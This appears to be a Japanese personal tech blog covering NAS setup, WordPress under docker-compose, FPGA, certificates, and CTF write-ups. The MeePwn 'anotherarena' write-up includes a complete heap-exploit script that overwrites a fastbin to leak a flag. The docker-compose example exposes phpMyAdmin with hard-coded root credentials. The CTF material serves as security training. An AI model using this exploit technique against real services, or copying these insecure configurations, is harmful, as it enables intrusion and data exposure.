Mac版LINEは、CamTwistがインストールしてあるとビデオ通話ができない?

CamTwistという仮想カメラデバイス(他にも機能はあるが..)がMacにインストールしてあると、Mac版LINEでカメラの設定が正常にできず、ビデオ通話ができないっぽかったです。 Continue reading “Mac版LINEは、CamTwistがインストールしてあるとビデオ通話ができない?”

FPGAマガジンNo.18の「俺々RISC-V CPU」をシミュレータで動かす手順

特集「俺々RISC-V CPU」のサンプルコードをどうにか動かし、シミュレーションまで行う手順をなるべく細かく記す。 経緯はこう…。
コロナで自粛中なので時間ができ、FPGA上にRISC-V CPUを作成する特集「俺々RISC-V CPU」を目的に、FPGAマガジンNo.18を買った。
この本の説明は、分かっている人向けみたいだったので、初心者でも特集のサンプルコードを動かせるように、具体的に手順を書き記す。
サンプルコードは、開いたらそのまま動かせるわけじゃないみたいだったので、直し方も書いた。 (FPGA初心者なので間違ったこと書いてるかも。その時はゴメンナサイ。) マガジンの特集「俺々RISC-V CPU」はMAX-10とArtix-7の2つのFPGAをターゲットとしている。使うツールやファイルが違うので、それぞれについてやり方を書いていく。 Continue reading “FPGAマガジンNo.18の「俺々RISC-V CPU」をシミュレータで動かす手順”

QnapのNASでストレージプールのサイズを大きくする

ストレージを換装したものの、ストレージプールが小さいままで、大きくしたいけど方法がわからなかった。 下の図のように、HDDを1TBから2TBに換装したのにストレージプールの大きさが1TBのままだったため、それを大きくした、という話。
(メニュー名が多少分かりにくいが、正規の手順踏んでHDDの換装をすればやらなくて済む方法なのかも?)

作業

QNAPの公式サポートページのオンライン RAID 容量アップグレードってとこに書いてあるのと同じ。 下のように「ストレージマネージャ」を開き、左ペインで「ストレージ領域」のタブ(?)を開く。 そしてストレージプールを選択し、右上の管理ボタンを押す。
そしてストレージプールの管理画面が開くので、右の「管理」プルダウンメニューを開き、「ディスクを1台ずつ交換する」を押す。 このとき、「プール拡張」とかイカニモなボタンがあるがそっちは間違い。ストレージプールに組み込む、別なディスクやRAIDグループを要求される。
(今回は、1TBぶんしか使えてない2TBのディスクをフルに使えるようにストレージプールのサイズを大きくするのが目的。新しい別なディスクを追加してストレージプールを大きくしたいわけじゃない)
「ディスクを一台ずつ交換する」という画面で、適当にディスクを選び、容量の拡張というボタンを押す。
そうするとRAIDの再構成?同期かなんかが始まり、終わるとストレージプールの容量が増えてる。 めでたし。

無料でHTTPS化したWordPressをdocker-composeで始める方法

ネットワーク側での準備

使いたいドメイン名がちゃんと名前解決できるように設定しておきます。

ホスト側の準備

以下のポートを解放しておきます。ncコマンド等で外から通信できることを確認しておいてください。

# HTTPとHTTPS
TCP:80
TCP:443

# phpmyadminのため
TCP:9020

# FTPのため
TCP:21
TCP:30000

dockerの準備

ファイル類の準備

ディレクトリ構造は以下。

docker-wordpress/
├── db-data/
├── docker-compose.yml
├── ftp/
└── wordpress/

参考1
参考2(サンプルも配布している)

docker-compose.ymlは以下のようにします。

外部に公開されるFTPのパスワードなどは適当に良い感じにしてください。

version: "3.2"
services:
  # WordPressの記事などを管理するDB
  mysql:
    # 5にしといた方が面倒がないが8でも良い
    image: mysql:5
    environment:
      - MYSQL_ROOT_USER=root
      - MYSQL_ROOT_PASSWORD=rootpass
      - MYSQL_DATABASE=wpdb1
      - MYSQL_USER=wp_user1
      - MYSQL_PASSWORD=user1pass
    volumes:
      - ./db-data:/var/lib/mysql
      - ./db-data:/docker-entrypoint-initdb.d
    expose:
      - 3306

  # WordPressをホストするHTTPサーバ
  wordpress:
    image: wordpress:latest
    expose:
      - 80
    depends_on:
      - mysql
    links:
      - mysql
    environment:
      - WORDPRESS_DB_HOST=mysql:3306
      - WORDPRESS_DB_NAME=wpdb1
      - WORDPRESS_DB_USER=wp_user1
      - WORDPRESS_DB_PASSWORD=user1pass
    volumes:
      - ./wordpress:/var/www/html

  # phpmyadmin、WordPressで使用するDBの管理に用いる
  phpmyadmin:
    image: phpmyadmin/phpmyadmin
    environment:
      - PMA_ARBITRARY=1
      - PMA_HOST=mysql
      - PMA_USER=root
      - PMA_PASSWORD=rootpass
    depends_on:
      - mysql
    links:
      - mysql
    ports:
      - 9020:80
    volumes:
      - /sessions

  # pluginとかアップロード用のFTPサーバ(https://github.com/stilliard/docker-pure-ftpd/wiki/Docker-stack-with-Wordpress-&-FTP)
  # パーミッションが適切に設定されていれば、WordPress管理画面からできるのであまり必要ない
  ftp:
    # optionally replace username/repo:tag with your name and image details
    image: stilliard/pure-ftpd:latest
    deploy:
      replicas: 1
      restart_policy:
        condition: on-failure
    environment:
      PUBLICHOST: 127.0.0.1   #(**MUST REPLACE!** ホストのIPアドレスにする)
      FTP_USER_NAME: "user1"
      FTP_USER_PASS: "ftpuser1pass"
      FTP_USER_HOME: "/var/www/html"
      FTP_USER_UID: 33
      FTP_USER_GID: 33
    volumes:
      - ./wordpress:/var/www/html
      - ./ftp:/etc/ssl/private
    ports:
      - target: 21
        published: 21
        protocol: tcp
        mode: host

# Bind each passive ports to the host
      - target: 30000
        published: 30000
        protocol: tcp
        mode: host

  # HTTPとHTTPSサーバ
  # Lets's encryptのドメイン認証(DV)を取得、自動更新もしてくれる!
  # HTTP(80番ポート)にきたリクエストもHTTPSに301リダイレクトしてくれる
  https-portal:
    image: steveltn/https-portal:latest
    ports:
      - '80:80'
      - '443:443'
    depends_on:
      - wordpress
    links:
      - wordpress
    restart: always
    environment:
      # wordpressイメージから作成したコンテナはTCP80番で待ち受けるので矢印の右側はhttpにする。(WordPress内の設定画面ではちゃんとアドレスはhttps://...にする)
      DOMAINS: 'yourdomain.com -> http://wordpress' #(**MUST REPLACE!** 矢印の左側を自分のドメインにする)
      STAGE: 'production'
      FORCE_RENEW: 'true'

サーバの起動

コンテナ起動

sudo docker-compose up

1分か2分くらいでhttps-portalの準備ができ、下のようになります。これで通信できるようになりました!

準備ができた時のhttps-portalの出力
準備ができた時のhttps-portalの出力

なお、マルチドメインの場合でも、https-portalによって複数のドメイン名をホストできます。こんがらかって嫌な場合は、HAProxyを使っていい感じにします。

以上です。

BloggerからWordPressに引っ越しました

2015年から使っていたBloggerのブログhttps://atodekaerukamo.blogspot.com/ からWordpressに引っ越しました。 VPSを使ってWordPressをホストしています。無料ブログサービスってすごい便利だったんですね…!!って感想です。WordPressって結構面倒なところありますね。 引っ越してから動作チェック中ですが、Githubのコード埋め込みとかがちゃんと移行できてなかったりしてます。

Lightroom用NAS構築 on Raspberry Pi + NASのスピードテスト

なにをするか

Lightroomで写真ファイルを貯めておくNASをRaspberry Piを用いて構築する。
最終的には速度に満足できた。
安定性には満足できていない。
ラズパイのせいじゃないかもしれないが、ときどきLightroomで多くの写真をいじっていると、NASが反応しなくなり繋ぎ直さなくてはならなくなるときがある。

Raspberry Pi側

ハードウェア関係の準備

使用するのはRaspberry Pi3。
標準のNICはギガビットイーサに非対応なので、今回はバッファローのLUA4-U3-AGTというギガビットイーサ対応のNICをUSB2.0で繋ぐ。

USB2.0 high-speedで接続するのがボトルネックになるが、本体内蔵のファストイーサネット端子を使うより速度が出る。
なお、記事末尾にスピードテストあり。

(ファストイーサ: 100Mbps = 12.5MB/s,
USB2.0 high-speed: 480Mbps = 60MB/s)

設定

マウント周り

ここ(ゆるガジェCHANNEL)をみて行う。

インストール

sudo apt-get install exfat-fuse exfat-utils

自動マウントの設定

exFatでフォーマットされた外付けHDDをRaspberry Piにつなぎ、sudo blkidコマンドでUUIDを調べる
/etc/fstabに

UUID="YOUR UUID"    /mnt/hdd/usbhdd    exfat-fuse      async,auto,dev,exec,gid=65534,rw,uid=65534,umask=007    0    0

を追記。
sudo rebootで再起動。

Sambaまわり

sambaインストール

sudo apt install samba

confファイルをいじる

設定ファイルを開く

sudo vim /etc/samba/smb.conf

MacではSMBはWindowsより遅いらしい。途中から対応したSMB3を使うとよいらしいので次のように[global]の配下に追記

[global]
# このへんにUTF-8がどうとかある

client min protocol = SMB3
client max protocol = SMB3

末尾に追記
[NAS] の部分は、後々説明するが、元の外付けHDDについていた名前と同じにしたほうがLightroomでは面倒がなくて良い。

[NAS] 
  comment = USBHDD 
  path = /mnt/hdd/usbhdd/
  read only = no 
  guest ok = yes 
  force user = pi 
  unix extensions = no

デーモン再起動

sudo service smbd restart  
sudo systemctl status smbd.service   #ステータス確認

sambaを停止したい時やアンマウントしたいとき

sudo systemctl stop smbd     #smbd停止
sudo umount /mnt/hdd/usbhdd   #smbdを停止してからでないとアンマウントできない

Firewallまわり

以下はUFWを使っている場合。ここは自分用メモの色が強い。

このように、sambaで用いるポート番号は複数あるので方法はどうあれそれを許可すれば良い。(22とか80が追加されているのは私の都合です)

$ sudo ufw status
Status: active

To                         Action      From
--                         ------      ----
80                         ALLOW       Anywhere
22                         LIMIT       Anywhere
Anywhere                   ALLOW       192.168.1.0/24
22                         LIMIT       Anywhere (v6)
80                         ALLOW       Anywhere (v6)

ルールの追加方法

sudo ufw allow 80
sudo ufw limit 22
sudo ufw allow from 192.168.1.0/24  to any 

ルールのデリート

sudo ufw status numbered   # これで番号付きで表示
sudo ufw delete 13

とかやる

Mac側

普通にFinderでcommand + Kでサーバ接続, smb://192.168.1.10などとRaspberry PiのIPアドレスなりなんなりで接続する。
次のコマンドでSMB3で繋げているか確認できる。

smbutil statshares -a

Lightroomでの運用

Lightroomの運用は次のような感じ?
ここを参考にする。
自分はアマチュアで大したことやってないので、

  • LightroomのカタログとプレビューをMacbook Proに保存
  • カタログはLightroom終了時に毎回NASにバックアップするように設定
  • 写真のファイルは全てNASに置く
  • 大量のファイルコピーは、HDDをPCに直接つなぎ変えて行う
という感じで行く。

普段はNASとして運用しつつ「大量のファイルコピーは、HDDをPCに直接つなぎ変えて行う」ための設定

外付けHDDとして運用していたものをNASにつないで使う場合とその逆をやる場合、Lightroomのカタログに記録されている写真ファイルのパス(=場所)と、写真ファイルの実際のパスが食い違うとLightroomが写真を見失ってしまう。

Sambaの設定の項で述べた通り、Lightroomのココに表示されるHDDの名前と同じ名前でマウントできるようにSambaを設定すれば、Lightroomgが写真を見失わないので楽。

今回の例だと以下のように、/etc/samba/smb.confに追記した[NAS]の部分を[HD500]にすればよい。

[HDD500] 
  comment = USBHDD 
  path = /mnt/hdd/usbhdd/
  read only = no 
  guest ok = yes 
  force user = pi 
  unix extensions = no

別なPCから編集する必要がでたら、NASにバックアップされてるカタログをダウンロードして、それで作業をする。終わったらカタログをNASにバックアップしておく。
同時に別なPCから同じカタログで作業すると不整合が生じると思うけど、同時にしなきゃ大丈夫そう。

この辺を気にするならApertureが良いらしいが、すでに開発終了している。

スピードテスト

この測り方で良いかは疑問が残るけど…。

ギガビットイーサ対応の外部NICをUSB2.0で接続すれば、まともに使える速度は出る。

ラズパイ内蔵Wi-Fi

ラズパイ内蔵NIC( ファストイーサ )

外部NIC ( ギガビットイーサ )

外付けHDDをUSB3.0で直接Macbook Proに接続

Macbook Pro 2018 内蔵SSD(参考までに)

anotherarena (MeePwn CTF 1st 2017) のwriteup

https://ctftime.org/task/4313
MeePwn CTF 1st 2017 の anotherarenaです。
例によって上手い人に教えてもらいました。その節はありがとうございました。

概要

戻した擬似コード(ほぼC)

int size;

int main(){
  uint_64t newthread; //ほんとは pthread_t *
  uint_64t th;        
  uint_64t thread_return;
  uint_32t fd;

  // flagファイルをbssに読み込む
  fd = open("/home/anotherarena/flag", 0);
  offset_flag = 0x602101
  read(fd, offset_flag, 0x80);
  close(fd); 

  //1回目のスレッドでの作業でmallocで確保するサイズの取得
  size = read_malloc_size();

  //1回目のスレッドでの作業
  pthread_create(newthread, NULL, recv, NULL);
  pthread_join(newthread, thread_return);

  //2回目のスレッドでの作業, こちらがメイン
  pthread_create(th, NULL, start_routine, thread_return);
  pthread_join(th, NULL);

  return 0;
}

int read_malloc_size(){
  char *buf;
  read(stdin, buf, 8);
  return atoi(buf);
}

void* recv(){
  return malloc(size);
}

void start_routine(void *chunk){
  int residual_byte_count;
  int input_offset;
  int *input_cursor;
  void *chunk_head;

  chunk_head = chunk;
  input_cursor = chunk;
  residual_byte_count = size;

  //オフセットを入力し、chunk_head[input_offset]を書き換えられる
  while(residual_byte_count != 0){
    //オフセットの読み込み
    read(stdin, input_cursor, 4);
    input_offset = *input_cursor;
    input_cursor++; //4byte進める
    residual_byte_count -= 4;  //オフセットをchunkに読み込んだ分減る.

    //4バイトより残りが少なくなったか、オフセットがでかすぎたら中止
    if ((residual_byte_count <=3) || (input_offset > residual_byte_count) )  break

    read(stdin, *chunk_head[input_offset], 4);

    residual_byte_count -= 4;  //chunk[inputted_offset]に読み込んだ分減る.
  }

  int sum;
  int current_offset;
  void *buf_to_print;
  void *current_item;
  int size_buf_to_print; //qwordとして確保されているがuint_32tとしてしか使われないっぽい

  sum = 0;
  current_offset = 0;

  //chunkの中身を呼んで総和を取る
  while(current_offset < size){
    current_item = (int) chunk_head[current_offset];
    sum += current_item;
    current_offset++;
  }

  //好きなサイズを入力し,好きな内容を書き込める
  size_buf_to_print = read_malloc_size();
  buf_to_print = malloc(size_buf_to_print);
  read(stdin, buf_to_print, size_buf_to_print);

  //ここがライセンスチェックとかsecret_keyチェックとか呼んだとこ
  if(sum != 0x0c0c0aff6){
    puts("Bad b0y!");
  }else{
    printf("Good boy! Your license: %sn", buf_to_print);
  }  

  return;
}

start_routineのIDAメモ

エクスプロイトの手順

概要

  1. あとのmallocでflagの手前あたりの位置を返すための仕込み
  2. 1スレッド目、mallocで確保するサイズとして0x7fを渡し、chunkを確保. 0x7fはグローバル変数sizeに格納されるのでbssにいる
  3. 2スレッド目、input_offsetに負の値を入れ、chunk_head[input_offset]が、chunk_headの指す先より前にある,main_arenaじゃないarenaのmalloc_state構造体のfastbinsYの0x70サイズのところを指すようにする
  4. 上記のfastbinsYの0x70サイズのリンクリストのヘッダがbssのsize変数がある一つ上(0x8だけ上)を指すようにする
  5. secret_keyチェックを合格するための仕込み
  6. input_offsetに0を入れる。
  7. chunk_head[input_offset=0] に secret_key – 0x80を入れる
  8. input_offsetに0x80を入れ、ループを脱出する
  9. mallocでflagの手前あたりを確保したら、そこからflagまで一続きにprintするための仕込み
  10. mallocしたときにサイズ0x70を担当するfastbinsから割り当ててもらうために、少し小さい0x60を渡しmallocさせ、print_bufを確保する
  11. サイズ0x70を担当するfastbinsを書き換えておいたのでprint_bufは、bss上の良い感じの位置から確保された。flagまで読み出せるように、flagまで隙間なく’A’で埋める
  12. printすると末尾にflagも一緒についてくる!

あとのmallocでflagの手前あたりの位置を返すための仕込み

擬似コードを読めばわかるが、まずbssにflagファイルを読み込んでいる。
そのあと、入力したサイズ分だけchunkを確保し、オフセットを入力させそこを書き換えている。

mainarenaは書き換えるのに労力がいるらしいが、今回は別なthreadの中なのでmallocが使うarenaはmainarenaではない。このようなarenaの場合、arenaの管理用構造体、mallocstate構造体の後ろからmallocで確保されてゆく。つまり、mallocで確保されたchunkの前にarenaの管理用構造体、mallocstate構造体がある。
しかもオフセットは最大値側のバウンダリチェックしかしていないので、負の値が入る. 負の値を入れればchunkの前側にいるmalloc_state構造体を書き換えることができる。

malloc_state構造体の中のfastbinsYとかいうのを書き換えて、次にmallocしたときに所望の位置が返ってくるようにできる。

その所望の位置は…bssの、flagファイルが読み込まれたあたりである。

ちなみになんで0x70がターゲットとなったのかは不明。

mallocで0x7fぶん確保する

https://github.com/sploitfun/lsploits/blob/master/glibc/malloc/malloc.c

2151          assert (fastbin_index (chunksize (p)) == i);

のとおり、chunksize()ではLSB側3bitがマスクされ、fastbin_index()ではx64の場合右に4bitシフトされ-2され、結果的にサイズ0x70を担当するfastbinsのインデックス, 0x5になる。そのため、結果的に0x5になるものであればなんでも良いが0x7fとする。

(なんでも良いが0x7f以外だとなんだかよくわからないが失敗する…らしい. 0x70のfastbinを使うのは大きさがちょうどよいから?ヨクワカリマセン)

mallocstate構造体のfastbinsYを指すようにinputoffsetを入力する

x64のlinuxではfastbinsは0x10バイト刻みに、0x20からfastbinsが用意されている。0x70を担当するのは、インデックスが0x5,つまり6番目のfastbinである。
chunk_headからのオフセットを計算するために、まずここのアドレスを調べる。

gdb-peda$ p main_arena
$8 = {
  mutex = 0x0, 
  flags = 0x1, 
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x603120, 
  last_remainder = 0x0, 
  bins = {0x7ffff7bb4b78 <main_arena+88>, 0x7ffff7bb4b78 <main_arena+88>, ...}, 
  binmap = {0x0, 0x0, 0x0, 0x0}, 
  next = 0x7ffff0000020, 
  next_free = 0x0, 
  attached_threads = 0x1, 
  system_mem = 0x21000, 
  max_system_mem = 0x21000
}

これのnextが見たいarena.

gdb-peda$ p (struct malloc_state)*0x7ffff0000020

とやる。よくみれば0x7ffff0000050がfatbinsYの6番目だとわかる。

gdb-peda$ set {char}0x7ffff0000050=42

とかやるとfatbinsYの6番目が書き換わったのが確認できる。

なのでinput_offsetは(0x7ffff0000050 – 0x7ffff0000020)にすればよい. これでchunk_head[input_offset]はfatbinsYの6番目を指す.

malloc_state構造体のfastbinsYを、bssエリアのflagのちょっと前を指すように書き換える

flagファイルがロードされた位置をbssエリアを表示させ確認する.bssエリアのアドレスはgdb-peda$ readelfでわかる.

gdb-peda$ tele 0x6020a0 20
0000| 0x6020a0 --> 0x7ffff7bb5620 --> 0xfbad2087 
0008| 0x6020a8 --> 0x0 
0016| 0x6020b0 --> 0x7ffff7bb48e0 --> 0xfbad208b 
0024| 0x6020b8 --> 0x0 
0032| 0x6020c0 --> 0x7ffff7bb5540 --> 0xfbad2087 
0040| 0x6020c8 --> 0x0 
0048| 0x6020d0 --> 0x0 
0056| 0x6020d8 --> 0x0                                              ; pseudo_chunkのhead.   prev_sizeになる
0064| 0x6020e0 --> 0x7f                                             ; pseudo_chunkのsizeとして読まれる
0072| 0x6020e8 --> 0x0                                              ; これ以降はpseudo_chunkのcontentsになる
0080| 0x6020f0 --> 0x0 
0088| 0x6020f8 --> 0x0 
0096| 0x602100 --> 0xa2167616c662100 ('')                           ;= flag!!!!
0104| 0x602108 --> 0x0 
0112| 0x602110 --> 0x0 

なお、mallocで確保されるチャンクは以下のようになっている. sizeのチェックが入るので, 正しい値(今回は冒頭で説明したように0x7f)を入れなくてはならない.

          |prev_size|
          |size     |
<- malloc |contents |
          | ...     |

なので、上のbssエリアを表示させた例についてるコメントのように, 0x7fが入ってるとこの一つ上, 0x6020d8をfastbinsYのサイズ0x70を担当するところに書き込む.
こうすれば次に, サイズ0x70(に収まるもの)をmallocで要求したときに, そこのアドレスを返してくれる.

secret_keyチェックに合格するための仕込み

擬似コードを読めばわかるが、chunkの中身の総和をとり、それをsecret_key, 0x0c0c0aff6と比較して、等しいかどうかで分岐している. 合格しないとBad b0y!が表示されるだけ.
flagファイルがロードされたところをプリントするためには、まずこれに合格しなければならない.

ここまでで、chunkは以下のようになっている.(ちなみに0xfffff790はchunk_headからfastbinsYの6番目までのオフセット、0x7ffff0000050 – 0x7ffff0000020を計算したもの.)

input_cursor(上位4バイトを指す), chunk_head   -> |0x00000000fffff790|
                                              |0x0000000000000000| 
                                              |0x0000000000000000|  

                                          ..  (全体で0x7fのサイズ)...

                                              |0x0000000000000000| 

chunk全体の総和が0x0c0c0aff6になるように頑張る.

input_offsetに0を入れる。

擬似コードを読めばわかるが、オフセットとして入力したものはinput_cursorが指している先に書き込まれる.

chunk_head   ->                  |0x00000000fffff790|
input_cursor(下位4バイトを指す) ->  |0x0000000000000000|    
                           |0x0000000000000000|                
                                 ...(全体で0x7fのサイズ)...

                                  |0x0000000000000000|

chunk_head[input_offset=0] に secret_key – 0x80を入れる

chunk_head   ->                  |0x0c0c0aff6 - 0x80|
input_cursor(下位4バイトを指す) ->  |0x0000000000000000|    
                           |0x0000000000000000|                
                                 ...(全体で0x7fのサイズ)...

                                  |0x0000000000000000|

input_offsetに0x80を入れ、ループを脱出する

大きい方の境界チェックはあるので、0x7fより大きい0x80を入れることでループがとまる. このときchunkに余計な0x80が入るので、さっき入れたのはその分を引いたsecret_key – 0x80だったというわけ.

chunk_head   ->                  |0x0c0c0aff6 - 0x80|
input_cursor(上位4バイトを指す) ->  |0x0000000000000080|    
                           |0x0000000000000000|                
                                 ...(全体で0x7fのサイズ)...

                                  |0x0000000000000000|

これでchunkの総和が0x0c0c0aff6に等しくなった.

mallocでflagの手前あたりを確保したら、そこからflagまで一続きにprintするための仕込み

擬似コードを読めばわかるが,最後にprintf(“Good boy! Your license: %sn”, buf_to_print);でbuf_to_printを表示させている. 上までの仕込みのおかげで、buftoprintをmallocで確保するときにサイズを0x60にすると、bssエリアのflagが読み込まれている少し前の位置のアドレスがmallocの戻り値となる.
よって、buf_to_printの中身をうまいことやれば、flagまでリークできる.

mallocしたときにサイズ0x70を担当するfastbinsから割り当ててもらうために、少し小さい0x60を渡しmallocさせ、print_bufを確保する

擬似コードを読めばわかるが, ループを抜けた後、chunkの総和を計算した後、size_buf_to_printを入力させ、buf_to_printを確保する.
その際、mallocに, 0x60を渡すと、サイズ0x70を担当するfastbinsから割り当ててくれる.

gdb-peda$ tele 0x6020a0 20
0000| 0x6020a0 --> 0x7ffff7bb5620 --> 0xfbad2087 
0008| 0x6020a8 --> 0x0 
0016| 0x6020b0 --> 0x7ffff7bb48e0 --> 0xfbad208b 
0024| 0x6020b8 --> 0x0 
0032| 0x6020c0 --> 0x7ffff7bb5540 --> 0xfbad2087 
0040| 0x6020c8 --> 0x0 
0048| 0x6020d0 --> 0x0 
0056| 0x6020d8 --> 0x0                                              ; pseudo_chunkのhead. prev_sizeになる
0064| 0x6020e0 --> 0x7f                                             ; pseudo_chunkのsizeとして読まれる
0072| 0x6020e8 --> 0x0                                              ; これ以降はpseudo_chunkのcontentsになる. !!!!!ココが今回のmallocの戻り値となる!!!!!
0080| 0x6020f0 --> 0x0 
0088| 0x6020f8 --> 0x0 
0096| 0x602100 --> 0xa2167616c662100 ('')                           ;= flag!!!!
0104| 0x602108 --> 0x0 
0112| 0x602110 --> 0x0 

buftoprintからflagまで読み出せるように、flagまで隙間なく’A’で埋める

サイズ0x70を担当するfastbinsを書き換えておいたのでprint_bufは、bss上の良い感じの位置から確保された。 flagとの間に0があるので、printf(“Good boy! Your license: %sn”, buf_to_print);のときにそこで止まってしまう…ということは、flagの位置まで’A’などで埋めれば途切れることなくそこまで読み出せる.
なのでflagの位置(0x602101)とのオフセットを計算し、0x602101 – 0x6020e8個の’A’をbuftoprintに書き込む.

gdb-peda$ tele 0x6020a0 20
0000| 0x6020a0 --> 0x7ffff7bb5620 --> 0xfbad2087 
0008| 0x6020a8 --> 0x0 
0016| 0x6020b0 --> 0x7ffff7bb48e0 --> 0xfbad208b 
0024| 0x6020b8 --> 0x0 
0032| 0x6020c0 --> 0x7ffff7bb5540 --> 0xfbad2087 
0040| 0x6020c8 --> 0x0 
0048| 0x6020d0 --> 0x0 
0056| 0x6020d8 --> 0x0                                              ; pseudo_chunkのhead. prev_sizeになる
0064| 0x6020e0 --> 0x7f                                             ; pseudo_chunkのsize
0032| 0x6020e8 ('A' <repeats 25 times>, "!flag!n")                 ; これ以降はpseudo_chunkのcontentsになる. !!!!!ココが今回のmallocの戻り値となる!!!!! buf_to_printが指す位置.
0040| 0x6020f0 ('A' <repeats 17 times>, "!flag!n")
0048| 0x6020f8 ("AAAAAAAAA!flag!n")
0056| 0x602100 ("A!flag!n")                                        ;= flag!!!!
0072| 0x6020e8 --> 0x0                                              
0088| 0x6020f8 --> 0x0 
0096| 0x602100 --> 0xa2167616c662100 ('')                           
0104| 0x602108 --> 0x0 
0112| 0x602110 --> 0x0 

おしまい

Good boy! Your license: AAAAAAAAAAAAAAAAAAAAAAAAA!flag!

スクリプト

#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket, struct, telnetlib

# --- common funcs ---
def sock(remoteip, remoteport):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((remoteip, remoteport))
  return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='n'):
  data = ''
  while not data.endswith(delim):
    data += f.read(1)
  return data

def shell(s):
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

# def p(a): return struct.pack("<I",a)
# def u(a): return struct.unpack("<I",a)[0]

def p(a): return struct.pack("<Q",a)
def u(a): 
    return struct.unpack("<Q",a.ljust(8, "") )[0]

def p32s(a): return struct.pack("<i",a)
def p32(a): return struct.pack("<I",a)

def invert(st):
    ans = []
    for ind in range(len(st)):
        if ind % 2 == 0:
            ans.append( chr(  ord(st[ind]) ^ 0x20)  )
            print( chr( ord(st[ind]) ^ 0x20 ) )
        else:
            ans.append(chr( ord(st[ind]) ))
            print( chr( ord(st[ind]) ))
    return "".join(ans)

# -- subroutine--

# --- main ---
s, f = sock("localhost", 1025)    # 接続


# *** 1つ目のthread ***
# ひとつ目のthreadでmallocするサイズを指定
chunk_size = 0x7f # なんでもよい, fastbinsのために良いサイズにしておく0x7fとか. 
f.write(str(chunk_size).ljust(8, 'x00')) # 8bytes よみこみ

# *** 2つ目のthread ***

addr_chunk              = 0x7ffff00008c0
addr_fastbins_size_0x70 = 0x7ffff0000050
offset_to_fastbins_size_0x70 = addr_fastbins_size_0x70 - addr_chunk

# index
f.write( p32s(offset_to_fastbins_size_0x70) ) # 4bytest よみこみ readは0でくぎってくれない
# sleepをいれてやることでも くぎれる

# なかみ. 偽のchunkを渡す。chunk->sizeがさっきbssに入れた0x7fの場所にくるような位置にする
pseude_chunk = 0x6020d8
f.write(p32s(pseude_chunk))

# index, liscenseの計算が面倒にならないように、もういちどchunkの先頭をささせて書き換えておくため
f.write(p32s(0))

secret_key = 0x0C0C0AFF6
final_offset = 0x80
# なかみ, liscenseチェックをクリアできるようにつじつまあわせ
f.write(p32(secret_key -final_offset))

# index. invalidなほどでかい値を入れる. これはchunkの入力場所の後ろに確保されるのでliscense計算に入ってしまう、のでさっきliscenseの値から引いておいた
f.write(p32s(final_offset) )

# ここでループ脱出


# **ライセンスチェック前**

# mallocのサイズ
f.write(str(0x60).ljust(8, "x00") ) # fastbinsは0x10きざみ,0x70のfastbinsからほしいのでこうする,少し小さめの0x60にすると0x70のbinからくるらしい


# flagまでつめものをする. そうするとflagとの間に一個もnull文字が入らないのでflagまでgood_boyのbranchにあるprintfで読み出せる
addr_flag = 0x602101
pseude_chunk_nakami = pseude_chunk + (0x8*2)
offset_to_flag = addr_flag - pseude_chunk_nakami

f.write("A" * (offset_to_flag) ) 

shell(s)

ルート証明書と、自己署名証明書や自己発行証明書の違い

ネスペの勉強していてルート証明書と自己署名証明書を間違えた。

Wikipediaによると

p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px ‘.Hiragino Kaku Gothic Interface’}
span.s1 {color: #dca10d}
span.s2 {font: 12.0px ‘Helvetica Neue’}

「自己署名証明書とは、自分の秘密鍵でそれに対応する公開鍵に署名した証明書のことである。自分の秘密鍵で署名していても、認証局が識別名を変更したときに発行することがあるネーム・ロールオーバー証明書のような識別名が異なる証明書は、ルート証明書ではない。自己発行証明書とは、発行者と主体者が同じ実体である公開鍵証明書のことである。自分自身に発行しても、他の秘密鍵で署名された自己発行証明書(認証局が鍵を更新したときに発行するキー・ロールオーバー証明書や、CRLの署名用に別の鍵対を使うときなどに発行する証明書)は、ルート証明書ではない。」

とのこと。

RFC5280の第3章2節によると

 Self-issued certificates(自己発行証明書) are CA certificates in which the issuer and subject are the same entity. Self-issued certificates are generated to support changes in policy or operations. Self- signed certificates(自己署名証明書) are self-issued certificates where the digital signature may be verified by the public key bound into the certificate. Self-signed certificates are used to convey a public key for use to begin certification paths. 

とのこと。

つまり、

p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px ‘.Hiragino Kaku Gothic Interface’}
p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px ‘Helvetica Neue’; min-height: 14.0px}
span.s1 {font: 12.0px ‘Helvetica Neue’}

  • 自己署名証明書 = 署名する(される?)公開鍵に対応した秘密鍵で署名した証明書(発行者≠主体者でもよい)
  • 自己発行証明書 = 発行者と主体者が同じ実体である公開鍵証明書(使う秘密鍵が署名する公開鍵とペアになるものでなくてもよい)

「ルート証明書は自己署名証明書かつ自己発行証明書」 ということらしい

SEC-T CTF pingpong のwriteup

概要

https://ctftime.org/task/6618
SEC-T CTFというので出題されたpingpongという問題。

ササッと解いた上手な人に教えてもらいました。
(bloggerに導入したmarkdownで書いたコードブロックは表示がよくなくて、見づらくてすみません)

デバッグの準備

gdb pedaでstartするとなぜかNo unwaited-for children left.中止 (コアダンプ)となるので、一旦runして途中まで進めて、そんで中断してからもう一回startするとなぜか大丈夫なのでgdb単体で実行するときはそうする。

これに限らずリモートデバッグした方がよい(らしいです。)

リモートデバッグのやりかた

最初はgdbで実行だが、
あとはリモートデバッグすべき
gdb -xでスクリプトを実行できるので、そのスクリプトに見たい位置にbreakpointを仕掛けてrunするようなコマンドを書いておけばよい

ファイル:cmd

file ./pingpong
target remote localhost:1234
start
c

ファイル:debug.sh

gdbserver localhost:1234 ./pingpong

いつものとおり

リモートサーバたてる

socat TCP-LISTEN:1025,reuseaddr,fork exec:./debug.sh

ソルバスクリプトでペイロードを送信したりいろいろする

python solver.py
中身テンプレート

#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket, struct, telnetlib

# --- common funcs ---
def sock(remoteip, remoteport):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((remoteip, remoteport))
  return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
  data = ''
  while not data.endswith(delim):
    data += f.read(1)
  return data

def shell(s):
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

# def p(a): return struct.pack("<I",a)
# def u(a): return struct.unpack("<I",a)[0]

def p(a): return struct.pack("<Q",a)
def u(a): 
